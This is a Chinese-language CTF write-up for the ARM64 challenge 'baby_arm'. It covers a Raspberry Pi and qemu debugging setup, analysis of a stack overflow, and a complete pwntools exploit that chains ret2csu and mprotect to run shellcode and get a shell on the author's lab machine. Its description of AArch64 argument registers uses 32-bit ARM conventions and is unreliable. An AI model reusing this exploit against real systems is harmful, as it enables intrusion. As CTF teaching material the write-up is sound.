ARM PWN 探究之环境搭建和测试
最近一次比赛(“骇极杯” 全国大学生信安邀请赛
)遇到了一道arm pwn的题目,题目不难,附上链接 baby_arm。我就想后面说不定也要做arm的题,就搭建一个环境吧。
手上刚好有个闲置的树莓派3b+,众所周知,树莓派是arm架构的,刚好拿来用。
树莓派装64位系统
都2018年了,怎么还在用32位系统呢?
https://github.com/chainsx/ubuntu64-rpi
格式化sd卡,用win32diskimager把系统烧录到sd卡就好,插上树莓派,连接键盘和显示器,开机就好了,非常的简单。
用scp命令把我们的题目传到树莓派上去
scp ./baby_arm tangnet@192.168.205.133:/home/tangent/Desktop/
再用socat把可执行文件绑定到某个端口。
$ socat tcp-listen:6666,fork exec:./baby_arm
这样我们nc上去就可以运行这个程序了
nc 192.168.205.133 6666
本地运行调试环境搭建
我们一般本地调试都是在Linux的虚拟机下,而且一般都是64位或者32位架构的。我们可以基于qemu去模拟arm环境。
安装 git,gdb 和 gdb-multiarch,gdb 的插件 pwndbg(或者 gef 等 gdb plugin),pwntools ,这些工具的安装还是比较简单的,就不详细写了,相信大家都是已经装好了的。
安装 qemu
我们对版本的要求不是很严格, 直接通过 apt 等包管理安装
$ sudo apt-get install qemu-user
$ sudo apt-get install qemu-use-binfmt qemu-user-binfmt:i386
通过 qemu 模拟 arm环境,进而进行运行和调试
此时已经可以去运行静态链接的arm架构的程序了,会自动调用对应架构的 qemu。但是很明显我们这个题是动态链接的,他找不到对应的动态链接库,就会报错,从而无法运行
这就需要我们安装对应架构的共享库,使用apt来搜索一下
apt search "libc6-" | grep "AARCH64"
然后 apt 安装就可以了
动态链接程序用qemu运行需要指定动态链接库的路径
qemu-aarch64 -L /usr/aarch64-linux-gnu ./baby_arm
调试
可以使用 qemu 的 -g 指定端口
qemu-aarch64 -g 1235 -L /usr/aarch64-linux-gnu ./baby_arm
使用gdb-multiarch的remote功能进行调试
pwndbg> target remote localhost:1235
这样就可以成功进行调试了
漏洞分析
现在的ida pro 7.0版本可以对arm架构的程序F5了,这就很方便,把binary文件拖进ida
很明显有一个栈溢出漏洞
用checksec查看保护
发现NX enable,这样就不能直接写shellcode了
但是发现plt表里面有mprotect函数,所以我们可以构造fake stack 去调用mprotect函数,修改bss段为可执行,再往bss段写shellcode ,控制返回地址跳转到bss段就可以getshell了。
因为是64位的arm程序,我们需要知道arm架构调用函数的时候的传参规则,才能构造我们的ROP链。详细内容可以阅读
http://infocenter.arm.com/help/topic/com.arm.doc.ihi0055b/IHI0055B_aapcs64.pdf
总而言之,就是函数的第 1 ~ 4 个参数分别保存在 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0 中
我们发现程序中并不能找到所以寄存器所对应的gadget,所以在构造fake stack的时候,用到了return2csu这个技术,具体论文在(https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf)
exp如下:
from pwn import *
import os
context.arch = 'arm64'
def gdb_attach():
os.system('xfce4-terminal -x sh -c "gdb-multiarch pwn -ex \'target remote 127.0.0.1:1234\'"')
#p = process(['qemu-aarch64','-g','1234','-L','/usr/aarch64-linux-gnu/','./pwn'])
# gdb_attach()
p = remote('192.168.205.133', 6666)
p.recvuntil('Name:')
p.send(asm(shellcraft.aarch64.sh()) + p64(0x400600)+p64(0x411068)) # 44
raw_input()
padding = ''
for _ in xrange(9):
padding += chr(ord('a')+_) * 8
p.send(padding+p64(0x4008CC)+p64(0x411068)+p64(0x4008AC) + p64(0) + p64(0xdeadbeef)+p64(0x411068+44)+p64(7)+p64(4096)+p64(0x411000))
p.interactive()
remote到远程主机(树莓派)
我们就拿到了树莓派的shell了